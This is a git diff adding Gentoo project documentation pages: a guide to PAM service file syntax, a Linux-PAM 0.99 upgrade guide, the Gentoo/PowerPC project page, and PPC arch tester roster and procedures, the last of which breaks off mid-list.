diff --git a/xml/htdocs/proj/en/base/pam/service-file.xml b/xml/htdocs/proj/en/base/pam/service-file.xml
new file mode 100644
index 00000000..08d35d3d
--- /dev/null
+++ b/xml/htdocs/proj/en/base/pam/service-file.xml
@@ -0,0 +1,235 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/pam/service-file.xml,v 1.1 2007/07/14 20:43:48 flameeyes Exp $ -->
+
+<guide link="/proj/en/base/pam/service-file.xml" lang="en">
+<title>Analysis of a PAM service configuration file</title>
+
+<author title="Author">
+  <mail link="flameeyes@gentoo.org">Diego Pettenò</mail>
+</author>
+
+<abstract>
+Simple documentation about the format of PAM service configuration files.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0</version>
+<date>2007-07-14</date>
+
+<chapter>
+<title />
+
+<section>
+
+<body>
+
+<p>
+A PAM service configuration file is a simple ASCII text file installed in
+<path>/etc/pam.d/</path>, describing the chain of modules to load and call to be
+able to fullfill one of four possible management facilities (account validation,
+authentication, password changing, and session handling). The comments, as often
+happens with Unix configuration files, are prefixed with a hash mark (#).
+</p>
+
+<p>
+Every non-comment line of a PAM service file is composed of at least three
+elements: the management facility, the control directive and the parameter of
+this last one (always a module with the exclusion of the <c>include</c>
+directive, that instead takes another service name) following these three
+elements there are optional parameters to pass to the module (they are not
+supported for <c>include</c>). When a single element needs to contain spaces, it
+can be quoted in between square parenthesis (<b>[ ]</b>), we'll see later where
+this is used.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>The four facilities</title>
+
+<body>
+<p>
+The four management facilities are specified with a shortened version of their
+name:
+</p>
+
+<dl>
+  <dt><c>account</c></dt>
+  <dd>
+  Verifies the validity of the account, whether it's expired, enabled, if login
+  for that service is possible for that particular account. This is when you
+  should check for <path>/etc/nologin</path>, presence in
+  <path>/etc/ftpusers</path>, valid shell, and so on.
+  </dd>
+
+  <dt><c>auth</c></dt>
+  <dd>
+  Handle the authentication of users: asks and checks password values, One-Time
+  Passwords, smartcards, biometric scans, USB keys, and so on. This is probably
+  the most critical facility as a mistake done by this chain might allow an
+  attacker to spoof the identity of an user.
+  </dd>
+
+  <dt><c>password</c></dt>
+  <dd>
+  Takes care of changing the authentication data for the user (password,
+  biometric data, smartcard public key, and so on).
+  </dd>
+
+  <dt><c>session</c></dt>
+  <dd>
+  Manages the session opened for the user, by setting up and destroying the
+  environment as needed, this is the only chain that is called twice: at login
+  and logout. Here you should call modules that handle mounting, chrooting, or
+  changing various permissions.
+  </dd>
+</dl>
+
+<p>
+The order of each chain is related to the order in which the modules are listed
+in the configuration file; when you use the <c>include</c> directive, the
+lines declaring and configuring the modules for that facility are read from the
+specified service file and expanded in the place of the <c>include</c> line. The
+order of the four facilities is ignored, you can mix them.
+</p>
+
+<pre caption="ordering of PAM service file directives">
+<comment># If this is the service file to read...</comment>
+auth     required   pam_foo1.so
+account  required   pam_foo2.so
+auth     required   pam_foo3.so
+account  include    other-service
+session  required   pam_foo4.so
+password required   pam_foo5.so
+
+<comment># And this is the other-service file...</comment>
+password required   pam_bar1.so
+session  required   pam_bar2.so
+account  required   pam_bar3.so
+
+<comment># The actual chains are equivalent to a file like this:</comment>
+auth     required   pam_foo1.so
+auth     required   pam_foo3.so
+account  required   pam_foo2.so
+account  required   pam_bar3.so
+password required   pam_foo5.so
+session  required   pam_foo4.so
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>The control directives</title>
+
+<body>
+
+<p>
+The control directives - beside <c>include</c>, that as we have seen just loads
+the content of the homologous chain in another file - tell PAM what to do when
+the module fails or succeeds. This is important because you usually want to
+treat failures and successes of the modules in different ways depending on the
+chain and on the semantic of the module. The directives for this are:
+</p>
+
+<dl>
+  <dt><c>required</c></dt>
+  <dd>
+  The module success is necessary to allow the facility to complete, if this
+  module fail, the facility will ultimately fail, but the rest of the chain is
+  still executed.
+  </dd>
+
+  <dt><c>requisite</c></dt>
+  <dd>
+  Again, the module success is necessary to allow the facility to complete, but
+  this time if the module fails, the chain is aborted immediately.
+  </dd>
+
+  <dt><c>sufficient</c></dt>
+  <dd>
+  A success of the module will make the chain complete immediately; a failure,
+  instead, will leave the response to the following modules. If the last module
+  of a chain is sufficient and fails, the facility fails.
+  </dd>
+
+  <dt><c>optional</c></dt>
+  <dd>
+  The result of this module is disregarded unless it's the last one to be
+  executed, in which case the chain result will be the same as the result of the
+  module (minus <c>required</c> modules failing).
+  </dd>
+
+  <dt><c>binding</c> (OpenPAM only)</dt>
+  <dd>
+  The result of the module will dictate the result of the whole chain: if it
+  succeeds, it is treated like sufficient, and the chain will complete
+  immediately, if it fails, it is treated like required, the chain will continue
+  even if the final result will certainly be a failure.
+  </dd>
+
+</dl>
+
+<p>
+In addition to those, Linux-PAM also provides a more flexible way to define the
+behaviour of the modules, albeit quite more complex: you can decide what PAM
+will do in the various case (missing module, failure in loading the module,
+error in the call to the module's functions, failure of the implementation).
+To set this up, you need to pass a compless directive, quoted in square
+parenthesis (<b>[ ]</b>) as the second token of the line, and in it pass
+<c>condition=result</c> couples, separated by commas, as needed. As this syntax
+is limited to Linux-PAM, and is usually more useful to advanced users than for
+default configurations, please refrain to use this syntax for the PAM service
+files installed by ebuilds.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Module name and parameters</title>
+
+<body>
+
+<p>
+The following token in the line is the module name; As modules are shared
+objects, they have the name <path>pam_$something.so</path>. A common mistake is
+to use the full path of the module for this token; although this works on basic
+setups, it is suboptimal for multilib architectures (like AMD64), where it
+breaks for the non-default ABI. So please always use just the base name of the
+library.
+</p>
+
+<impo>
+On AMD64, the 32-bit PAM modules come out of the <c>sys-libs/pam</c> package,
+and are just the default set. If your 32-bit software using PAM has a
+configuration that includes <path>system-auth</path>, the users will not be able
+to add extra modules to that service file. This is a drawback that needs to be
+tackled down soon.
+</impo>
+
+<p>
+After these three tokens, there are the parameters to pass to the modules. Each
+parameter is separated by whitespace, and as we said, if it contains spaces it
+should be quoted through square parenthesis (<b>[ ]</b>); this is the case for
+the SQL queries used together with the frontend modules for MySQL or PostgreSQL.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+</guide>
+
+<!--
+ Local Variables: **
+ mode:nXML **
+ fill-column: 80 **
+ End: **
+-->
diff --git a/xml/htdocs/proj/en/base/pam/upgrade-0.99.xml b/xml/htdocs/proj/en/base/pam/upgrade-0.99.xml
new file mode 100644
index 00000000..13450ecb
--- /dev/null
+++ b/xml/htdocs/proj/en/base/pam/upgrade-0.99.xml
@@ -0,0 +1,329 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/pam/upgrade-0.99.xml,v 1.14 2008/07/02 17:50:18 flameeyes Exp $ -->
+
+<guide link="/proj/en/base/pam/upgrade-0.99.xml" lang="en">
+<title>Linux-PAM 0.99 upgrade guide</title>
+
+<author title="Author">
+  <mail link="flameeyes@gentoo.org">Diego Pettenò</mail>
+</author>
+
+<abstract>
+This guide will help you through the upgrade path for Linux-PAM from 0.78 (or
+older) to Linux-PAM 0.99.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.9</version>
+<date>2008-07-02</date>
+
+<chapter>
+<title>Upgrade guide</title>
+<section>
+<title>Introduction</title>
+
+<body>
+
+<p>
+This guide is written to help you through the process of upgrading from older
+Linux-PAM versions to the new versions based on 0.99 series. With 0.99, Gentoo
+does not use RedHat/Fedora patches anymore, and thus some features previously
+supported are no longer available (on the other hand, even RedHat stopped
+supporting and providing some of these features).
+</p>
+
+<p>
+For this reason, the upgrade from the old Linux-PAM to the new one is not
+straightforward, and might require changing the authentication configuration for
+the system or for services if it wasn't updated automatically during that time.
+Also some modules were removed from the <c>sys-libs/pam</c> package, and moved
+to separate packages, so you might need to merge them if you are relying on
+them.
+</p>
+
+<note>
+Don't be scared of this guide: if you installed your system after about
+September 2005, the upgrade path should be quite painless, and this guide will
+just be an interesting read to you. If your system is older, but you upgraded
+regularly, and didn't configure PAM manually, you should also be fine, as most
+of the configuration files would have been upgraded already for you. If you
+customised your PAM configuration, you will probably have to upgrade it
+manually, but then you should already know how to handle that.
+</note>
+
+<p>
+Please note that there is no loss of functionality coming from the update: most
+of the RedHat patches are currently implemented in Linux-PAM through slightly
+different methods, like the <c>include</c> directive replacing the deprecated
+<c>pam_stack</c> module. The modules were moved to their own packages to
+maintain the clean design of the ebuild, and to allow packages whose default
+configuration requires these optional modules to just depend on them.
+</p>
+
+<p>
+It is important to keep Linux-PAM up to date, because it is an important piece
+in a system, as it's the default authentication provider for Gentoo Linux. For
+this reason, the upgrade to Linux-PAM 0.99 is suggested as an high priority to
+keep the system safe and secure.
+</p>
+
+<impo>
+After upgrading PAM, from any version to any version, you have to restart those
+services that are using it to avoid internal ABI mismatches. This includes
+<c>sshd</c>, <c>vixie-cron</c> (and probably any other cron service), mail
+servers, and in general almost every service that accepts users.
+</impo>
+
+<p>
+What users have to do for most of the cases is either to install a new package
+(because the module was migrated out of the main <c>sys-libs/pam</c> ebuild), or
+to change the configuration so that it does not use the modules that were
+dropped. If you made changes to the PAM service configuration files, you should
+be able to handle all the changes. For those who never changed a configuration
+file, there is only one change that needs to be done, documented in the <uri
+link="#pam_stack">pam_stack and the include directive</uri> section.
+</p>
+
+<p>
+The changes need to be applied to each and every file in the 
+<path>/etc/pam.d/</path> directory (the PAM services configuration
+files). Please make sure you remove eventual backup files (<path>*~</path>)
+before trying to update <c>sys-libs/pam</c>, or the emerge process will fail as
+a safety measure.
+</p>
+
+<p>
+As a safety device, the <c>sys-libs/pam</c> ebuild checks the files present in
+<path>/etc/pam.d/</path> for the now-deprecated modules, and stops the merge
+process in case they are still used, to avoid locking you out of your own
+system. Because of the nature of configuration files, you might still have old
+configuration files for packages you already removed, so you should check first
+that there are no orphan files (files not belonging to any package), for
+instance through the <c>qfile</c> command present in
+<c>app-portage/portage-utils</c>.
+</p>
+
+<impo>
+The safety check will also check the comment lines, which means that you also
+need to remove the comments that refers to the removed modules. This is meant as
+an extra safety so that users don't uncomment lines that will disallow them from
+logging in on their system. If you want to keep the comment in there as
+documentation, you're invited to split up the modules' names (for instance in
+<path>pam _stack.so</path>).
+</impo>
+
+<pre caption="using qfile -o to check for orphan files">
+# <i>qfile -o /etc/pam.d/*</i>
+/etc/pam.d/sshd
+/etc/pam.d/system-auth~
+/etc/pam.d/vmware-authd
+</pre>
+
+<p>
+The most common presence of orphan files in <path>/etc/pam.d</path> are the
+backup files created by most editors, ending with a tilde character
+(<b>~</b>). The remaining files, unless you created them yourself for your
+particular setup, should be safe to remove (or at least move away), as they are
+probably leftovers from previously installed packages. A special exception for
+this is <path>/etc/pam.d/vmware-authd</path> for <c>vmware-server</c>, that is
+created by the <c>vmware-config.pl</c> script (but it should be safe to remove
+unless you edited it manually, you'll just have to re-execute the script).
+</p>
+
+</body>
+</section>
+<section>
+<title>What are the main changes?</title>
+<body>
+
+<p>
+As we said, the main change between 0.78 and 0.99 is that the RedHat patches
+aren't applied anymore, but this does not explain what really changed for users.
+To a minimum, the following modules are not available anymore: <c>pam_stack</c>,
+<c>pam_pwdb</c> (ex-<b>pwdb</b> USE flag), and
+<c>pam_timestamp</c>.
+</p>
+
+<p>
+The <b>pam_chroot</b> USE flag is no longer present, as the module (previously
+coming from RedHat patches) is no longer built in <c>sys-libs/pam</c>, and has
+been moved in <c>sys-auth/pam_chroot</c>.
+</p>
+
+<p>
+Additionally, the <b>berkdb</b> USE flag, used to build the <c>pam_userdb</c>
+module was removed; in its stead you will have to manually merge the
+<c>sys-auth/pam_userdb</c> package that provides the module with the same name.
+Also the <b>pam_console</b> USE flag was removed, and the module is no longer
+available, please see this in its own section.
+</p>
+
+<p>
+For all the missing modules, besides <c>pam_stack</c>, please feel free to ask
+about their destiny on Bugzilla, providing a use case for them, and they might
+be resurrected in their own packages too.
+</p>
+
+</body>
+</section>
+<section>
+<title>The case against pam_console</title>
+<body>
+
+<p>
+The <c>pam_console</c> module was designed by RedHat to allow setting different
+permissions on devices for users logging in via hardware access (either in X
+through the various graphical login applications, or through the console
+login).This approach caused more than a few problems in the past with users
+unable to get their devices working, and was then disabled by default, linked to
+a <b>pam_console</b> USE flag for those needing it.
+</p>
+
+<p>
+As of version 0.99 of Linux-PAM the whole RedHat patchset was dropped.
+<c>pam_console</c> is no longer shipped with this package. Although for a while
+available as <c>sys-auth/pam_console</c> for those needing it, a <uri
+link="http://bugs.gentoo.org/show_bug.cgi?id=199193">security bug</uri> forced
+the masking and removal of this package.
+</p>
+
+<p>
+The need for <c>pam_console</c> is being mitigated by HAL switching to
+ConsoleKit as alternative. Those still needing a behaviour similar to
+pam_console's are invited to update their code so that ConsoleKit can be used
+instead, or use a <b>plugdev</b> group together with <c>pam_group</c> module.
+</p>
+
+</body>
+</section>
+<section>
+<title>Moved modules</title>
+<body>
+
+<p>
+The <c>pam_userdb</c> module, used to provide authentication against a simple
+Berkeley DB file, was previously available through the <b>berkdb</b> USE flag.
+As this module requires a static inline copy of Berkeley DB to work correctly,
+it was moved to its own package to simplify maintenance of PAM, and to reduce
+the risk of problems. The package is <c>sys-auth/pam_userdb</c>.
+</p>
+
+<p>
+It is important to note that even though the module's code is updated, taken
+from the last PAM release, the Berkeley DB copy is still at 4.3; no upgrade of
+this is planned, as such upgrades usually are not backwards compatible. For this
+reason, unless a security bug is found, you'll still need to use Berkeley DB
+4.3 tools to manipulate the users' database.
+</p>
+
+<p>
+Nothing more than using <c>sys-auth/pam_userdb</c> is required for users needing
+this module.
+</p>
+
+<p>
+The same holds true for the <c>pam_chroot</c> module that is now available as
+<c>sys-auth/pam_chroot</c>, just use the new package and that will be fine for
+you.
+</p>
+
+<p>
+The <c>pam_radius</c> module has also been moved to its own package,
+as <c>sys-auth/pam_radius</c>, although nothing is noted at the time
+of writing with respect to the compatibility with the previous version
+as provided by Linux-PAM 0.78.
+</p>
+
+</body>
+</section>
+<section id="pam_stack">
+<title>pam_stack and the include directive</title>
+<body>
+
+<p>
+PAM was designed to allow configuring different software and services with
+different authentication facilities, for instance accepting local users through
+the usual Unix authentication facilities, but also allowing mail users
+authenticate against a database. For most desktop users and for those servers
+who don't expect connections from non-system users (like HTTP servers) though,
+most of the services would just use the same authentication against the system
+password database.
+</p>
+
+<p>
+For this reason, to avoid managing multiple copies of the same exact PAM
+configuration file, many Linux distributions started writing extensions to them
+to allow keeping a single <e>system</e> or more commonly <e>system-auth</e>
+configuration, and then telling the other services to use that one to
+authenticate.
+</p>
+
+<p>
+Up to version 0.77, Linux-PAM itself didn't provide any of such extensions, and
+Gentoo's package followed RedHat's solution through the <c>pam_stack</c> module
+that hijacked PAM's internals to get a second pass over a different service
+configuration. This method was not standard, not portable, and required heavy
+patching of the internal library structure.
+</p>
+
+<p>
+An alternative solution was instead designed by ALTlinux for OpenPAM, and was to
+use an <c>include</c> directive, that would be handled internally by the PAM
+implementation, effectively loading the configuration for that service and
+passing through the equivalent class's modules. This is the same extension
+implemented by Linux-PAM 0.78 and later, and the current only supported option
+for Gentoo (as it works on both the supported implementations).
+</p>
+
+<p>
+To convert an old configuration file that uses <c>pam_stack</c> into an updated
+one that works with the <c>include</c> directive, you just need to replace the
+lines as shown:
+</p>
+
+<pre caption="Replace pam_stack usage with the include directive">
+<comment>(The old configuration)</comment>
+auth    required     pam_stack.so    service=system-auth
+
+<comment>(Replace it with this)</comment>
+<i>auth    include      system-auth</i>
+</pre>
+
+<impo>
+There are four facilities in PAM configuration: <c>auth</c>, <c>account</c>,
+<c>password</c> and <c>session</c>. You need to update the configuration files
+for all of them, not just auth.
+</impo>
+
+<p>
+Please note that you might also need to reorder the calls when making this
+change, as sometimes modules like <c>pam_nologin</c> were listed after
+<c>pam_stack</c>, even though they now need to be listed before the
+<c>include</c> directive.
+</p>
+
+<pre caption="Handling multiple-modules with pam_stack">
+<comment>(Old way)</comment>
+auth    required     pam_stack.so    service=system-auth
+auth    required     pam_nologin.so
+
+<comment>(New way)</comment>
+auth    required     pam_nologin.so
+auth    include      system-auth
+</pre>
+
+<p>
+This change will not result in feature loss (<path>pam_stack</path> didn't work
+with anything but the <c>required</c> directive), and it should always be safe.
+All the recent PAM configurations installed by ebuilds in the Portage tree are
+updated to use the new syntax.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/base/powerpc/index.xml b/xml/htdocs/proj/en/base/powerpc/index.xml
new file mode 100644
index 00000000..6870335e
--- /dev/null
+++ b/xml/htdocs/proj/en/base/powerpc/index.xml
@@ -0,0 +1,126 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "http://www.gentoo.org/dtd/project.dtd">
+<project>
+  <name>Gentoo PowerPC</name>
+  <longname>Gentoo Linux PowerPC Development</longname>
+  <date>Jan 16, 2008</date>
+
+  <description>
+    The Gentoo/PowerPC Project supports and maintains Gentoo Linux on PowerPC
+    processors, including both of the 32 bit and 64 bit variants.
+  </description>
+
+  <longdescription>
+    <p>The Gentoo/PowerPC Project was formed to ensure that Gentoo is the most
+    up to date and robust PowerPC distribution available for both server and 
+    desktop applications. The Gentoo/PowerPC project maintains both the 32 bit 
+    PowerPC Linux port and the 64 bit PowerPC Linux port. Supported 32 bit 
+    PowerPC processors include the 4xx/6xx/7xx/74xx series processors, as
+    found in Apple computers, as well as many embedded PowerPC devices, 
+    including the Efika.  Supported 64 bit PowerPC processors include the 970,
+    as found in Apple G5's, the Cell Broadband Engine, as found in the PS3, and
+    assorted POWER processors. Additionally, a 32 bit userland is provided for 
+    64 bit PowerPC machines.</p>
+
+    <p>Bugs are tracked and resolved from the 
+    <uri link="http://bugs.gentoo.org">Gentoo bug tracker</uri>.  Note that 
+    because of architectual differences, packages are marked for 
+    <uri link="http://tinyurl.com/34byx">32 bit UL</uri> and
+    <uri link="http://tinyurl.com/2oxbbl">64 bit UL</uri> seperately and should be assigned 
+    accordingly.</p>
+
+    <p>The Gentoo/PowerPC team can be reached in a multitude of ways. End users
+    can find help on the 
+    <uri link="http://forums.gentoo.org/">forums</uri>,  
+    <uri link="http://www.gentoo.org/main/en/lists.xml">PowerPC mailing lists</uri>
+    and on IRC in the #gentoo-powerpc channel on 
+    <uri link="http://freenode.net">Freenode</uri>.  A member of the PowerPC 
+    team is almost always available on IRC.  Note that all bugs should be  
+    directed to bugzilla to ensure that the issue is resolved.</p>
+  
+  </longdescription>
+
+  <goals>
+  
+    <p>The goal of the Gentoo PowerPC development project is to guarantee that
+    the PowerPC packages built using Gentoo metadata (ebuilds) are functional 
+    and up to date.  By continuously testing new packages, maintaining 
+    existing packages and providing user support, the Gentoo PowerPC team 
+    provides the PowerPC user with a modern distro based on community, 
+    performance and freedom.  Utilizing Gentoo's metadata based distribution 
+    allows a user to to be as bleeding edge or as conservative as desired.
+    </p>
+
+    <p>Gentoo is unique because all of its supported architectures share the 
+    same generic ebuilds, which describe how to build packages.  These 
+    packages are combined to form the foundation of this distribution.  The
+    PowerPC developers are responsible for building and testing ebuilds and
+    marking them as tested or stable.  For the 32 bit port, the stable keyword
+    is <b>ppc</b>, while the unstable keyword is <b>~ppc</b>.  For the 64 bit
+    port, the stable keyword is <b>ppc64</b> while the unstable keyword is 
+    <b>~ppc64</b>.  Our users can use these keywords, along with the portage
+    application, to build a system that suits their needs, whether it is a
+    stable server or a bleeding edge desktop system.</p>
+
+  </goals>
+
+  <dev role="Developer" description="Gentoo/PowerPC">cardoe</dev>
+  <dev role="Developer" description="Gentoo/PowerPC">chainsaw</dev>
+  <dev role="Developer" description="Gentoo/PowerPC">dertobi123</dev>
+  <dev role="Developer" description="Gentoo/PowerPC">dostrow</dev>
+  <dev role="Developer" description="Gentoo/PowerPC">josejx</dev>
+  <dev role="Developer" description="Gentoo/PowerPC">lu_zero</dev>
+  <dev role="Developer" description="Gentoo/PowerPC">mabi</dev>
+  <dev role="Developer" description="Gentoo/PowerPC">nelchael</dev>
+  <dev role="Developer" description="Gentoo/PowerPC">nerdboy</dev>
+  <dev role="Developer" description="Gentoo/PowerPC">nixnut</dev>
+  <dev role="Developer" description="Gentoo/PowerPC">pvdabeel</dev>
+  <dev role="Developer" description="Gentoo/PowerPC">ranger</dev>
+  <dev role="Developer" description="Gentoo/PowerPC">tgall</dev>
+  <dev role="Developer" description="Gentoo/PowerPC">wormo</dev>
+	<dev role="Developer" description="Gentoo/PowerPC">volkmar</dev>
+
+  <extrachapter position="top">
+    <title>News</title>
+    <section>
+        <title>2008-01-16: Gentoo/PPC and Gentoo/PowerPC64 have merged</title>
+	<body>
+	  <p>
+	  The Gentoo/PPC and Gentoo/PowerPC64 teams have historically been 
+	  seperate entities.  However, the overlap between the groups was so
+	  substantial that the groups voted to combine to reduce overhead.  In
+	  the future, release media for the 32 bit and 64 bit ports will be 
+	  combined, but due to architectual differences, seperate keywords will
+	  be maintained.
+	  </p>
+
+	</body>
+    </section>
+  </extrachapter>
+
+  <extrachapter position="bottom">
+    <title>How to Participate</title>
+    <section>
+      <body>
+
+        <p>Can you make computers do amazing things? Are you excited about
+        exploring areas of computing never explored before? We are continuously
+        looking for volunteers willing to spend some of their free time on this
+        project.</p>
+
+        <p>If you are interested in helping, but don't have a niche that you 
+	are interested in filling, you can always look through our bugs. There
+	are always packages that need to be tested, bugs waiting to be found 
+	and fixed and enhancements waiting for someone to code them. Feel free
+	to ask the PowerPC development team on IRC what <e>you</e> can help us
+	with!</p>
+
+      </body>
+    </section>
+  </extrachapter>
+
+<herd name="powerpc"/>
+
+</project>
diff --git a/xml/htdocs/proj/en/base/ppc/AT/arch-testers.xml b/xml/htdocs/proj/en/base/ppc/AT/arch-testers.xml
new file mode 100644
index 00000000..7c999661
--- /dev/null
+++ b/xml/htdocs/proj/en/base/ppc/AT/arch-testers.xml
@@ -0,0 +1,96 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/ppc/AT/arch-testers.xml,v 1.3 2007/03/12 23:01:42 josejx Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<version>1.1</version>
+<date>2007-03-12</date>
+
+<section>
+<title>PPC Arch Testers Information</title>
+
+<body>
+<p>
+Gentoo/PPC will maintain a pool of "Arch Testers" (ATs) and one or more PPC 
+Developers will take the responsibility of managing the AT group.  ATs will be 
+included on the ppc@gentoo.org alias, so they can be informed of all bug 
+activity. The current AT head for PPC is Joseph Jezak. Any problems, suggestions
+ and/or flames should be directed at him.
+</p>
+
+<p>
+ATs will be responsible for responding to all test requests in a timely
+manner (including keywording, security, marking stable, requests from devs on 
+irc, etc...) and ensuring that the application works, as well as check that the
+ebuild doesn't contain any glaring errors. ATs must keep their system up to
+date, use reasonable CFLAGS, and keep with the current profile.  When marking
+a bug as tested all ATs will use the keyword "TESTED" in bugzilla (in the
+"keywords" field)
+</p>
+
+<p>
+Gentoo/PPC developers will be able to take ATs word at their own discretion 
+since ultimately, committing the requested changes will be the dev's 
+responsibility .  Feel free to ask for more than one tester if you feel the bug
+warrants it.
+</p>
+
+<p>
+Prospective AT's will have to pass the <uri link="http://www.gentoo.org/proj/en/devrel/quiz/ebuild-quiz.txt">ebuild quiz.</uri>
+Additionally, all quizes should be submitted to the PPC AT leader and hparker
+(who has graciously volunteered to mentor potential PPC ATs).
+</p>
+
+<p>
+A note about arch testers "status": Gentoo/PPC Arch Testers are not official
+Gentoo developers.  They are, however, a recognized part of the Gentoo/PPC arch
+team.  All AT's should keep this in mind when selecting email signatures or 
+other forms of communication.
+</p>
+
+<table>
+<tr>
+<th>Current PPC Arch Testers</th>
+<th>Nickname</th>
+<th>GPG key</th>
+<th>Status</th>
+</tr>
+<tr>
+<ti>Johannes Traub</ti>
+<ti>_bambam</ti>
+<ti>C02196D6</ti>
+<ti>Unknown</ti>
+</tr>
+<tr>
+<ti>Nathan Sullivan</ti>
+<ti>CpuID</ti>
+<ti>DE9B4353</ti>
+<ti>Active</ti>
+</tr>
+<tr>
+<ti>Matti Bickel</ti>
+<ti>mabi</ti>
+<ti></ti>
+<ti>Developer</ti>
+</tr>
+<tr>
+<ti>Michael Prorock</ti>
+<ti>mfproroc</ti>
+<ti></ti>
+<ti>Unknown</ti>
+</tr>
+<tr>
+<ti>Nathan Smith</ti>
+<ti>ndansmith</ti>
+<ti>A201C338</ti>
+<ti>Active</ti>
+</tr>
+</table>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/en/base/ppc/AT/at-procedures.xml b/xml/htdocs/proj/en/base/ppc/AT/at-procedures.xml
new file mode 100644
index 00000000..10c75138
--- /dev/null
+++ b/xml/htdocs/proj/en/base/ppc/AT/at-procedures.xml
@@ -0,0 +1,190 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/ppc/AT/at-procedures.xml,v 1.2 2006/04/06 20:24:56 hansmi Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<version>v1.0</version>
+<date>2005-06-23</date>
+
+<section>
+<title>Marking Stable:  When and How?</title>
+<body>
+
+<p>
+There are lists which show packages with the ppc keyword lagging behind the x86
+keyword and need to be tested -- and eventually marked stable. If you want
+access to such a list, please ask a Gentoo/ppc developer.  It's very useful to
+have people systematically testing these packages - it helps to keep ppc
+packages as up-to-date as possible. The following guidelines are specifically
+aimed at Gentoo/PPC Arch Testers (ATs) doing testing.
+</p>
+
+<ul>
+<li>
+  Check to ensure the latest version of the package is marked ~ppc (TESTING),
+  and if not, please read the next section of the document for the steps
+  to for quickly and efficiently having a package keyworded ~ppc.
+  <br/><br/>
+</li>
+
+<li>
+  If the package is already ~ppc:
+  <ul>
+    <li>
+      <e>Check to see when the package was marked ~ppc.</e> There should be a 
+      date in the package Changelog, but if there isn't one, please use the 
+      ViewCVS functionality on <uri>http://viewcvs.gentoo.org</uri> to look for
+      the date it was keyworded ~ppc. If it was less than 30 days ago, the 
+      package is not yet eligible for a stable marking, but testing and feedback
+      are still greatly appreciated.
+    </li>
+    <li>
+      <e>Check for bugs on this particular version of the package.</e> If a bug
+      has been opened in the last 30 days, it is not eligible.
+    </li>
+    <li>
+      <e>If it has been in testing for more than 30 days, and has not
+      had an open bug in the last 30 days, you need to test it in a
+      thorough and systematic manner.</e> Every conceivable permutation
+      should be checked and rechecked - if it breaks you need to go
+      onto Bugzilla and open a relevant bug. If it doesn't break and
+      you are totally satisfied it's stable, continue to the final
+      step -- but beware, its your responsibility if this package breaks!
+    </li>
+    <li>
+      <e>Assuming it meets all the criteria (tested for 30+ days, no
+      bugs in the last 30 days, AT tested) you may open a bug with
+      the title '&lt;category&gt;/&lt;package&gt;-&lt;version&gt; is stable 
+      on PPC'.</e>  Assign the bug directly to ppc@gentoo.org to avoid making
+      more work for the overworked Bug Wranglers. You should include the
+      output of your 'emerge info' and keyword the bug <c>STABLE</c>.
+    </li>
+    <li>
+      <e>Wait for a developer to review the bug, and mark the package 
+      stable.</e>
+    </li>
+  </ul>
+</li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>Marking a Package as Testing:  What's the drill?</title>
+<body>
+
+<p>
+In some cases the late file may show packages where the latest version is
+not yet ~ppc, or a new and popular package needs to be keyworded ~ppc. In
+these cases, we need to have them 'marked testing' - so when they're bug free
+for thirty days they can be made stable.
+</p>
+
+<ul>
+<li>
+  Check that the package hasn't already got any open bugs regarding it being
+  marked testing. Quite often users will let us know about popular packages
+  needing a keyword before any devs/ATs even notice!
+</li>
+<li>
+  If the package doesn't have a bug yet:
+  <ul>
+    <li>
+      Check to see whether previous versions of the package were in testing or 
+      stable on PPC. 
+      <ul>
+	<li>
+	  <e>If the previous version was keyworded and this is a minor version 
+	  increment</e>
+	  <br/>
+	  Check the Changelog for the version increment, install the package
+          and test any new, improved or otherwise modified features. Check
+          the install proceeds smoothly, all of the intended functionality is 
+	  present and there are no glaringly obvious bugs. If you see any bugs, 
+	  file them on Bugzilla and when they're resolved test again. If 
+	  everything works as expected, proceed to putting in the ~ppc request.
+	</li>
+	<li>
+	  <e>If the previous version was keyworded and this is major version 
+	  increment</e>
+	  <br/>
+	  Check the Changelog, install the package and test all the new and
+          improved features. Check for bugs in previous versions, see if they
+          have been fixed and be especially careful to see whether new ones
+          crept in with the new code. Test all the other functionality, even 
+	  functionality which you think will work - a major version increment
+          means a lot of changes, and it's treated almost like a new addition
+          to the tree - everything has to be tested and verified. If everything
+	  works as expected, proceed to putting in the ~ppc request.
+	</li>
+	<li>
+	  <e>If it's a new package which hasn't been keyworded before</e>
+	  <br/>
+	  Anything which has never been keyworded for ppc before is a little
+          more tricky to process. You don't have a nice Changelog to refer to 
+	  for a list of things to test, a previous version which worked to use 
+	  as reference or much other help. You need to install the package and 
+	  then test thoroughly:<br/>
+          <ol>
+            <li>
+               The package should install without errors and be ready to run
+               out of the box with minimal effort on the part of user.
+            </li>
+            <li>
